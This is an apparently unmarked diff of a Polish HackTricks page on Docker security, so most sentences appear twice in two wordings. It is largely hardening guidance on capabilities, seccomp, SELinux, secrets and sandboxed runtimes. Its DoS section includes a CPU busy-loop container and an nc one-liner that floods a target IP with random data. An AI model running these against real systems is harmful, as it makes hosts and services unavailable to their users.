Uprawnienia umożliwiają **dokładniejszą kontrolę nad uprawnieniami, które mogą być udzielone** użytkownikowi root. Docker korzysta z funkcji możliwości jądra Linuxa, aby **ograniczyć operacje, które można wykonać wewnątrz kontenera** niezależnie od rodzaju użytkownika.
Uprawnienia pozwalają na **dokładniejszą kontrolę uprawnień, które mogą być udzielone** użytkownikowi root. Docker wykorzystuje funkcję możliwości jądra Linuxa do **ograniczenia operacji, które mogą być wykonywane wewnątrz kontenera** niezależnie od rodzaju użytkownika.
Podczas uruchamiania kontenera Docker, **proces odrzuca wrażliwe uprawnienia, które proces mógłby wykorzystać do ucieczki z izolacji**. Ma to na celu zapewnienie, że proces nie będzie w stanie wykonywać wrażliwych działań i uciekać:
Gdy uruchamiany jest kontener Docker, **proces odrzuca wrażliwe uprawnienia, które proces mógłby wykorzystać do ucieczki z izolacji**. Ma to zapewnić, że proces nie będzie w stanie wykonywać wrażliwych działań i uciec:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@ -207,7 +210,7 @@ Podczas uruchamiania kontenera Docker, **proces odrzuca wrażliwe uprawnienia, k
### Seccomp w Dockerze
Jest to funkcja zabezpieczeń, która umożliwia Dockerowi **ograniczenie syscalls**, które mogą być używane wewnątrz kontenera:
Jest to funkcja zabezpieczeń, która pozwala Dockerowi **ograniczyć wywołania systemowe**, które mogą być używane wewnątrz kontenera:
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
@ -215,7 +218,7 @@ Jest to funkcja zabezpieczeń, która umożliwia Dockerowi **ograniczenie syscal
### AppArmor w Dockerze
**AppArmor** to ulepszenie jądra, które ogranicza **kontenery** do **ograniczonego** zestawu **zasobów** z **profilami dla poszczególnych programów**:
**AppArmor** to ulepszenie jądra do ograniczania **kontenerów** do **ograniczonego** zestawu **zasobów** z **profilami na poziomie programu**:
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
@ -223,13 +226,13 @@ Jest to funkcja zabezpieczeń, która umożliwia Dockerowi **ograniczenie syscal
### SELinux w Dockerze
- **System etykietowania**: SELinux przypisuje unikalną etykietę każdemu procesowi i obiektowi systemu plików.
- **Egzekwowanie zasad**: Egzekwuje zasady bezpieczeństwa, które określają, jakie działania etykieta procesu może wykonywać na innych etykietach w systemie.
- **Etykiety procesów kontenera**: Gdy silniki kontenerów uruchamiają procesy kontenera, zwykle przypisywane jest im ograniczone oznaczenie SELinux, zwykle `container_t`.
- **Etykietowanie plików wewnątrz kontenerów**: Pliki wewnątrz kontenera są zwykle oznaczane jako `container_file_t`.
- **Zasady polityki**: Polityka SELinux przede wszystkim zapewnia, że procesy o etykiecie `container_t` mogą jedynie współdziałać (czytać, pisać, wykonywać) z plikami oznaczonymi jako `container_file_t`.
* **System Etykietowania**: SELinux przypisuje unikalną etykietę do każdego procesu i obiektu systemu plików.
* **Egzekwowanie Polityki**: Egzekwuje polityki bezpieczeństwa, które definiują, jakie działania etykieta procesu może wykonać na innych etykietach w systemie.
* **Etykiety Procesów Kontenera**: Gdy silniki kontenerów inicjują procesy kontenera, zazwyczaj są one przypisywane do ograniczonej etykiety SELinux, zwykle `container_t`.
* **Etykietowanie Plików w Kontenerach**: Pliki w kontenerze są zazwyczaj oznaczane jako `container_file_t`.
* **Zasady Polityki**: Polityka SELinux głównie zapewnia, że procesy z etykietą `container_t` mogą tylko współdziałać (czytać, pisać, wykonywać) z plikami oznaczonymi jako `container_file_t`.
Ten mechanizm zapewnia, że nawet jeśli proces wewnątrz kontenera zostanie skompromitowany, jest on ograniczony do interakcji tylko z obiektami posiadającymi odpowiednie etykiety, co znacznie ogranicza potencjalne szkody wynikające z takich kompromitacji.
Ten mechanizm zapewnia, że nawet jeśli proces w kontenerze zostanie skompromitowany, jest on ograniczony do współdziałania tylko z obiektami posiadającymi odpowiadające etykiety, znacznie ograniczając potencjalne szkody wynikające z takich kompromitacji.
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
@ -237,22 +240,22 @@ Ten mechanizm zapewnia, że nawet jeśli proces wewnątrz kontenera zostanie sko
### AuthZ & AuthN
W Dockerze plugin autoryzacji odgrywa kluczową rolę w zabezpieczeniach, decydując, czy zezwolić czy zablokować żądania do demona Docker. Decyzja ta jest podejmowana na podstawie dwóch kluczowych kontekstów:
W Dockerze wtyczka autoryzacyjna odgrywa kluczową rolę w zabezpieczeniach, decydując, czy zezwolić czy zablokować żądania do demona Dockera. Decyzja ta jest podejmowana poprzez analizę dwóch kluczowych kontekstów:
- **Kontekst uwierzytelniania**: Obejmuje szczegółowe informacje o użytkowniku, takie jak kim są i jak się uwierzytelnili.
- **Kontekst polecenia**: Obejmuje wszystkie istotne dane dotyczące wykonywanego żądania.
* **Kontekst Autoryzacji**: Obejmuje kompleksowe informacje o użytkowniku, takie jak kim są i w jaki sposób się uwierzytelnili.
* **Kontekst Komendy**: Obejmuje wszystkie istotne dane związane z żądaniem.
Te konteksty pomagają zapewnić, że tylko legalne żądania od uwierzytelnionych użytkowników są przetwarzane, zwiększając tym samym bezpieczeństwo operacji w Dockerze.
Te konteksty pomagają zapewnić, że tylko legalne żądania od uwierzytelnionych użytkowników są przetwarzane, zwiększając bezpieczeństwo operacji w Dockerze.
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %}
## DoS z kontenera
## Atak typu DoS z kontenera
Jeśli nie ograniczasz poprawnie zasobów, które kontener może wykorzystać, skompromitowany kontener może spowodować DoS hosta, na którym jest uruchomiony.
Jeśli nie ograniczasz odpowiednio zasobów, jakie może wykorzystać kontener, skompromitowany kontener może przeprowadzić atak typu DoS na host, na którym działa.
* CPU DoS
* Atak DoS CPU
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
@ -260,15 +263,13 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
* Atak DoS na pasmo
Atak DoS na pasmo (Bandwidth DoS) polega na zalewaniu sieci dużej ilości danych w celu zablokowania lub znacznego spowolnienia działania systemu. Ten rodzaj ataku ma na celu wykorzystanie całkowitej przepustowości sieci, co prowadzi do niedostępności usług dla prawidłowych użytkowników. Aby przeprowadzić atak DoS na pasmo, atakujący może wykorzystać różne techniki, takie jak generowanie dużej ilości pakietów, wykorzystanie botnetów lub wykorzystanie zasobów chmury do generowania ruchu sieciowego. W rezultacie, system staje się niedostępny lub działa znacznie wolniej, co może prowadzić do poważnych konsekwencji dla organizacji lub użytkowników. Aby zabezpieczyć się przed atakami DoS na pasmo, ważne jest monitorowanie ruchu sieciowego, wdrażanie odpowiednich zabezpieczeń sieciowych i ograniczanie dostępu do zasobów sieciowych.
* Atak DoS na przepustowość
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## Interesujące flagi Docker
### Flaga --privileged
### --flaga uprzywilejowana
Na następnej stronie możesz dowiedzieć się, **co oznacza flaga `--privileged`**:
@ -280,45 +281,13 @@ Na następnej stronie możesz dowiedzieć się, **co oznacza flaga `--privileged
#### no-new-privileges
Jeśli uruchamiasz kontener, w którym atakujący uzyskuje dostęp jako użytkownik o niskich uprawnieniach. Jeśli masz **źle skonfigurowany binarny suid**, atakujący może go wykorzystać i **zwiększyć uprawnienia wewnątrz** kontenera. Co może pozwolić mu na jego uniknięcie.
Jeśli uruchamiasz kontener, w którym atakujący uzyskuje dostęp jako użytkownik o niskich uprawnieniach. Jeśli masz **źle skonfigurowany binarny suid**, atakujący może go wykorzystać i **eskalować uprawnienia wewnątrz** kontenera. Co może pozwolić mu na jego opuszczenie.
Uruchomienie kontenera z włączoną opcją **`no-new-privileges`** **zapobiegnie tego rodzaju eskalacji uprawnień**.
Uruchomienie kontenera z opcją **`no-new-privileges`** włączoną **zapobiegnie tego rodzaju eskalacji uprawnień**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
#### Inne
Inne potencjalne zagrożenia związane z bezpieczeństwem Dockera to:
- **Nieaktualne obrazy**: Używanie nieaktualnych obrazów Dockera może prowadzić do wykorzystania znanych podatności. Ważne jest regularne aktualizowanie obrazów, aby uniknąć tych zagrożeń.
- **Niebezpieczne ustawienia kontenera**: Niewłaściwe ustawienia kontenera mogą prowadzić do naruszenia bezpieczeństwa. Należy upewnić się, że kontenery są uruchamiane z minimalnymi uprawnieniami i odpowiednimi ograniczeniami zasobów.
- **Niewłaściwe zarządzanie uprawnieniami**: Nieprawidłowe zarządzanie uprawnieniami może prowadzić do eskalacji uprawnień. Należy upewnić się, że tylko niezbędne uprawnienia są udzielane kontenerom.
- **Niebezpieczne konfiguracje sieciowe**: Niewłaściwe konfiguracje sieciowe mogą prowadzić do nieautoryzowanego dostępu do kontenerów. Należy skonfigurować odpowiednie zabezpieczenia sieciowe, takie jak izolacja sieciowa i ograniczenia dostępu.
- **Niebezpieczne montowanie woluminów**: Nieprawidłowe montowanie woluminów może prowadzić do nieautoryzowanego dostępu do danych. Należy upewnić się, że tylko niezbędne woluminy są montowane i że są odpowiednio zabezpieczone.
- **Niebezpieczne zarządzanie hasłami**: Niewłaściwe zarządzanie hasłami może prowadzić do kompromitacji kontenerów. Należy stosować silne hasła i unikać przechowywania ich w plikach konfiguracyjnych.
- **Niebezpieczne zarządzanie kluczami**: Niewłaściwe zarządzanie kluczami może prowadzić do nieautoryzowanego dostępu do kontenerów. Należy odpowiednio zarządzać kluczami i unikać przechowywania ich w kontenerach.
- **Niebezpieczne wykorzystanie funkcji Docker API**: Niewłaściwe wykorzystanie funkcji Docker API może prowadzić do nieautoryzowanego dostępu do kontenerów. Należy ograniczyć dostęp do funkcji API i stosować autoryzację.
- **Niebezpieczne wykorzystanie funkcji Docker Hub**: Niewłaściwe wykorzystanie funkcji Docker Hub może prowadzić do wykorzystania złośliwego oprogramowania. Należy unikać pobierania obrazów z niezaufanych źródeł.
- **Niebezpieczne wykorzystanie funkcji Docker Compose**: Niewłaściwe wykorzystanie funkcji Docker Compose może prowadzić do nieautoryzowanego dostępu do kontenerów. Należy ograniczyć dostęp do funkcji Compose i stosować autoryzację.
- **Niebezpieczne wykorzystanie funkcji Docker Swarm**: Niewłaściwe wykorzystanie funkcji Docker Swarm może prowadzić do nieautoryzowanego dostępu do kontenerów. Należy ograniczyć dostęp do funkcji Swarm i stosować autoryzację.
- **Niebezpieczne wykorzystanie funkcji Docker Registry**: Niewłaściwe wykorzystanie funkcji Docker Registry może prowadzić do nieautoryzowanego dostępu do obrazów. Należy ograniczyć dostęp do funkcji Registry i stosować autoryzację.
- **Niebezpieczne wykorzystanie funkcji Docker Volume**: Niewłaściwe wykorzystanie funkcji Docker Volume może prowadzić do nieautoryzowanego dostępu do danych. Należy ograniczyć dostęp do funkcji Volume i stosować autoryzację.
- **Niebezpieczne wykorzystanie funkcji Docker Network**: Niewłaściwe wykorzystanie funkcji Docker Network może prowadzić do nieautoryzowanego dostępu do sieci. Należy ograniczyć dostęp do funkcji Network i stosować autoryzację.
- **Niebezpieczne wykorzystanie funkcji Docker Security**: Niewłaściwe wykorzystanie funkcji Docker Security może prowadzić do naruszenia bezpieczeństwa. Należy stosować odpowiednie zabezpieczenia, takie jak kontrola dostępu i monitorowanie.
```bash
#You can manually add/drop capabilities with
--cap-add
@ -333,29 +302,29 @@ Inne potencjalne zagrożenia związane z bezpieczeństwem Dockera to:
# You can manually disable selinux in docker with
--security-opt label:disable
```
Aby uzyskać więcej opcji **`--security-opt`**, sprawdź: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
Dla więcej opcji **`--security-opt`** sprawdź: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Inne kwestie dotyczące bezpieczeństwa
## Inne Aspekty Bezpieczeństwa
### Zarządzanie tajemnicami: najlepsze praktyki
### Zarządzanie Sekretami: Najlepsze Praktyki
Niezwykle ważne jest unikanie osadzania tajemnic bezpośrednio w obrazach Docker lub korzystanie z zmiennych środowiskowych, ponieważ te metody ujawniają wrażliwe informacje każdemu, kto ma dostęp do kontenera za pomocą poleceń takich jak `docker inspect` lub `exec`.
Niezwykle istotne jest unikanie osadzania sekretów bezpośrednio w obrazach Docker lub korzystania z zmiennych środowiskowych, ponieważ te metody ujawniają Twoje wrażliwe informacje każdemu, kto ma dostęp do kontenera poprzez polecenia takie jak `docker inspect` lub `exec`.
**Wolumeny Docker** są bezpieczniejszą alternatywą, zalecaną do dostępu do wrażliwych informacji. Mogą być wykorzystywane jako tymczasowy system plików w pamięci, zmniejszając ryzyko związane z `docker inspect` i logowaniem. Jednak użytkownicy root i ci, którzy mają dostęp do kontenera za pomocą `exec`, wciąż mogą uzyskać dostęp do tajemnic.
**Woluminy Docker** są bezpieczniejszą alternatywą, zalecaną do dostępu do wrażliwych informacji. Mogą być wykorzystywane jako tymczasowy system plików w pamięci, zmniejszając ryzyko związane z `docker inspect` i logowaniem. Niemniej jednak, użytkownicy root oraz ci z dostępem `exec` do kontenera mogą wciąż uzyskać dostęp do sekretów.
**Tajemnice Docker** oferują jeszcze bardziej bezpieczną metodę obsługi wrażliwych informacji. Dla przypadków wymagających tajemnic podczas fazy budowy obrazu, **BuildKit** prezentuje wydajne rozwiązanie z obsługą tajemnic czasu budowy, poprawiające szybkość budowy i zapewniające dodatkowe funkcje.
**Sekrety Docker** oferują jeszcze bardziej bezpieczną metodę zarządzania wrażliwymi informacjami. Dla przypadków wymagających sekretów podczas fazy budowy obrazu, **BuildKit** prezentuje efektywne rozwiązanie z obsługą sekretów czasu budowy, zwiększając prędkość budowy i zapewniając dodatkowe funkcje.
Aby skorzystać z BuildKit, można go aktywować na trzy sposoby:
1. Za pomocą zmiennej środowiskowej: `export DOCKER_BUILDKIT=1`
2. Poprzez dodanie przedrostka do poleceń: `DOCKER_BUILDKIT=1 docker build .`
1. Poprzez zmienną środowiskową: `export DOCKER_BUILDKIT=1`
2. Poprzez prefiksowanie poleceń: `DOCKER_BUILDKIT=1 docker build .`
3. Poprzez włączenie go domyślnie w konfiguracji Dockera: `{ "features": { "buildkit": true } }`, a następnie restart Dockera.
BuildKit umożliwia korzystanie z tajemnic czasu budowy za pomocą opcji `--secret`, zapewniając, że te tajemnice nie są uwzględniane w pamięci podręcznej budowy obrazu ani w końcowym obrazie, za pomocą polecenia:
BuildKit pozwala na użycie sekretów czasu budowy za pomocą opcji `--secret`, zapewniając, że te sekrety nie są uwzględniane w pamięci podręcznej budowy obrazu ani w ostatecznym obrazie, korzystając z polecenia:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
Dla tajemnic potrzebnych w uruchomionym kontenerze, **Docker Compose i Kubernetes** oferują solidne rozwiązania. Docker Compose wykorzystuje klucz `secrets` w definicji usługi do określania plików z tajemnicami, jak pokazano na przykładzie pliku `docker-compose.yml`:
Dla tajemnic potrzebnych w uruchomionym kontenerze, **Docker Compose i Kubernetes** oferują solidne rozwiązania. Docker Compose wykorzystuje klucz `secrets` w definicji usługi do określenia plików z tajemnicami, jak pokazano w przykładowym pliku `docker-compose.yml`:
```yaml
version: "3.7"
services:
@ -368,40 +337,40 @@ secrets:
my_secret:
file: ./my_secret_file.txt
```
Ta konfiguracja umożliwia korzystanie z sekretów podczas uruchamiania usług za pomocą Docker Compose.
Ta konfiguracja pozwala na korzystanie z tajemnic podczas uruchamiania usług za pomocą Docker Compose.
W środowiskach Kubernetes, sekrety są obsługiwane natywnie i mogą być dalej zarządzane za pomocą narzędzi takich jak [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Role Based Access Controls (RBAC) w Kubernetes wzmacniają bezpieczeństwo zarządzania sekretami, podobnie jak w przypadku Docker Enterprise.
W środowiskach Kubernetes, tajemnice są obsługiwane natywnie i mogą być dalsze zarządzane za pomocą narzędzi takich jak [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kontrole dostępu oparte na rolach (RBAC) Kubernetes wzmacniają bezpieczeństwo zarządzania tajemnicami, podobnie jak w Docker Enterprise.
### gVisor
**gVisor** to jądro aplikacji napisane w języku Go, które implementuje znaczną część powierzchni systemu Linux. Zawiera środowisko wykonawcze [Open Container Initiative (OCI)](https://www.opencontainers.org) o nazwie `runsc`, które zapewnia **granice izolacji między aplikacją a jądrem hosta**. Środowisko wykonawcze `runsc` integruje się z Dockerem i Kubernetes, umożliwiając łatwe uruchamianie kontenerów w piaskownicy.
**gVisor** to jądro aplikacji napisane w Go, które implementuje znaczną część powierzchni systemu Linux. Zawiera środowisko wykonawcze [Open Container Initiative (OCI)](https://www.opencontainers.org) o nazwie `runsc`, które zapewnia **granice izolacji między aplikacją a jądrem hosta**. Środowisko wykonawcze `runsc` integruje się z Dockerem i Kubernetes, ułatwiając uruchamianie kontenerów w piaskownicy.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** to otwarta społeczność, która pracuje nad budową bezpiecznego środowiska wykonawczego dla kontenerów z wykorzystaniem lekkich maszyn wirtualnych, które działają i wydają się jak kontenery, ale zapewniają **silniejszą izolację obciążenia przy użyciu technologii wirtualizacji sprzętowej** jako drugiej warstwy obrony.
**Kata Containers** to społeczność open source pracująca nad budową bezpiecznego środowiska wykonawczego kontenerów z lekkimi maszynami wirtualnymi, które działają i wydają się jak kontenery, ale zapewniają **silniejszą izolację obciążenia przy użyciu technologii wirtualizacji sprzętowej** jako drugiej warstwy obrony.
{% embed url="https://katacontainers.io/" %}
### Podsumowanie wskazówek
### Porady Podsumowujące
* **Nie używaj flagi `--privileged` ani nie montuj** [**gniazda Dockera wewnątrz kontenera**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Gniazdo Dockera umożliwia uruchamianie kontenerów, więc jest łatwym sposobem na pełną kontrolę nad hostem, na przykład poprzez uruchomienie innego kontenera z flagą `--privileged`.
* **Nie uruchamiaj kontenera jako root. Użyj** [**innego użytkownika**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **i** [**przestrzeni nazw użytkownika**](https://docs.docker.com/engine/security/userns-remap/)**.** Root w kontenerze jest taki sam jak na hoście, chyba że jest przemapowany za pomocą przestrzeni nazw użytkownika. Jest tylko lekko ograniczony przez przede wszystkim przestrzenie nazw Linuxa, uprawnienia i grupy kontrolne.
* [**Odrzuć wszystkie uprawnienia**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) i włącz tylko te, które są wymagane** (`--cap-add=...`). Wiele obciążeń nie wymaga żadnych uprawnień, a dodawanie ich zwiększa zakres potencjalnego ataku.
* [**Użyj opcji bezpieczeństwa "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **, aby zapobiec procesom zdobywaniu większych uprawnień, na przykład za pomocą binarnych plików suid.**
* **Nie używaj flagi `--privileged` ani nie montuj** [**gniazda Dockera wewnątrz kontenera**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Gniazdo Dockera pozwala na uruchamianie kontenerów, więc jest łatwym sposobem na przejęcie pełnej kontroli nad hostem, na przykład poprzez uruchomienie innego kontenera z flagą `--privileged`.
* **Nie uruchamiaj jako root wewnątrz kontenera. Użyj** [**innego użytkownika**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **i** [**przestrzenie nazw użytkownika**](https://docs.docker.com/engine/security/userns-remap/)**.** Root w kontenerze jest taki sam jak na hoście, chyba że jest przemapowany za pomocą przestrzeni nazw użytkownika. Jest on tylko lekko ograniczony, głównie przez przestrzenie nazw Linuxa, zdolności i cgroups.
* [**Odrzuć wszystkie zdolności**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) i włącz tylko te, które są wymagane** (`--cap-add=...`). Wiele obciążeń nie potrzebuje żadnych zdolności, a dodanie ich zwiększa zakres potencjalnego ataku.
* [**Użyj opcji bez nowych uprawnień bezpieczeństwa**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) aby zapobiec procesom zdobywaniu większych uprawnień, na przykład poprzez binarne suid.
* [**Ogranicz zasoby dostępne dla kontenera**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Limity zasobów mogą chronić maszynę przed atakami typu odmowa usługi.
* **Dostosuj profile** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(lub SELinux)**, aby ograniczyć dostępne działania i wywołania systemowe dla kontenera do minimum wymaganego.
* **Używaj** [**oficjalnych obrazów Dockera**](https://docs.docker.com/docker-hub/official\_images/) **i wymagaj podpisów** lub buduj własne na ich podstawie. Nie dziedzicz lub nie używaj obrazów z [tylnymi drzwiami](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Przechowuj również klucze roota i hasło w bezpiecznym miejscu. Docker planuje zarządzać kluczami za pomocą UCP.
* **Regularnie** **odbudowuj** swoje obrazy, aby **zastosować łatki zabezpieczeń na hoście i obrazach**.
* Mądrze **zarządzaj swoimi sekretami**, aby utrudnić atakującemu dostęp do nich.
* Jeśli **udsłaniasz demona Dockera, użyj protokołu HTTPS** z uwierzytelnianiem klienta i serwera.
* W pliku Dockerfile **preferuj COPY zamiast ADD**. ADD automatycznie rozpakowuje pliki skompresowane i może kopiować pliki z adresów URL. COPY nie ma tych możliwości. W miarę możliwości unikaj używania ADD, aby nie być podatnym na ataki za pośrednictwem zdalnych adresów URL i plików ZIP.
* Używaj **oddzielnych kontenerów dla każdej mikrousługi**.
* **Nie umieszczaj ssh** wewnątrz kontenera, można użyć "docker exec" do połączenia SSH z kontenerem.
* Używaj **mniejszych** obrazów kontenerowych.
* **Dostosuj profile** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(lub SELinux)**, aby ograniczyć działania i wywołania systemowe dostępne dla kontenera do minimum wymaganego.
* **Używaj** [**oficjalnych obrazów Dockera**](https://docs.docker.com/docker-hub/official\_images/) **i wymagaj podpisów** lub buduj swoje własne na ich podstawie. Nie dziedzicz obrazów z [tylnymi drzwiami](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Przechowuj również klucze root, hasło w bezpiecznym miejscu. Docker planuje zarządzać kluczami za pomocą UCP.
* **Regularnie** **odbudowuj** swoje obrazy, aby **zastosować łatki bezpieczeństwa na hoście i obrazach.**
* Mądrze **zarządzaj swoimi tajemnicami**, aby utrudnić atakującemu dostęp do nich.
* Jeśli **udsłuchujesz demona Dockera, użyj protokołu HTTPS** z uwierzytelnianiem klienta i serwera.
* W pliku Dockerfile, **preferuj COPY zamiast ADD**. ADD automatycznie wypakowuje skompresowane pliki i może kopiować pliki z adresów URL. COPY nie ma tych możliwości. Zaleca się unikanie użycia ADD, aby nie być podatnym na ataki poprzez zdalne adresy URL i pliki Zip.
* Miej **oddzielne kontenery dla każdej mikro-usługi**
* **Nie umieszczaj ssh** wewnątrz kontenera, polecenie "docker exec" może być użyte do połączenia SSH z kontenerem.
* Używaj **mniejszych** obrazów **kontenerowych**
## Ucieczka z Dockera / Eskalacja uprawnień
## Ucieczka z Docker / Eskalacja uprawnień
Jeśli jesteś **wewnątrz kontenera Dockera** lub masz dostęp do użytkownika w **grupie docker**, możesz spróbować **uciec i eskalować uprawnienia**:
@ -409,26 +378,50 @@ Jeśli jesteś **wewnątrz kontenera Dockera** lub masz dostęp do użytkownika
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
{% endcontent-ref %}
## Ominięcie autoryzacji pluginu uwierzytelniania Dockera
## Pomijanie Pluginu Autoryzacji Dockera
Jeśli masz dostęp do gniazda Dockera lub masz dostęp do użytkownika w **grupie docker, ale twoje działania są ograniczone przez plugin uwierzytelniania Dockera**, sprawdź, czy możesz go **ominąć**:
Jeśli masz dostęp do gniazda Dockera lub użytkownika w **grupie docker, ale twoje działania są ograniczone przez plugin autoryzacji Dockera**, sprawdź, czy możesz go **ominąć:**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %}
## Utrudnianie ataków na Docker
## Utrwalanie Dockera
* Narzędzie [**docker-bench-security**](https://github.com/docker/docker-bench-security) to skrypt, który sprawdza dziesiątki powszechnych najlepszych praktyk dotyczących wdrażania kontenerów Dockera w środowisku produkcyjnym. Testy są zautomatyzowane i oparte na [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Narzędzie należy uruchomić na hoście z uruchomionym Dockerem lub w kontenerze z wystarczającymi uprawnieniami. Dowiedz się, **jak go uruchomić w pliku README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
* Narzędzie [**docker-bench-security**](https://github.com/docker/docker-bench-security) to skrypt, który sprawdza dziesiątki powszechnych praktyk dotyczących wdrażania kontenerów Dockera w produkcji. Testy są zautomatyzowane i oparte na [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Należy uruchomić narzędzie z hosta uruchamiającego Dockera lub z kontenera z wystarczającymi uprawnieniami. Dowiedz się, **jak go uruchomić w pliku README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Odnośniki
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization)
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społeczności na świecie.\
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.

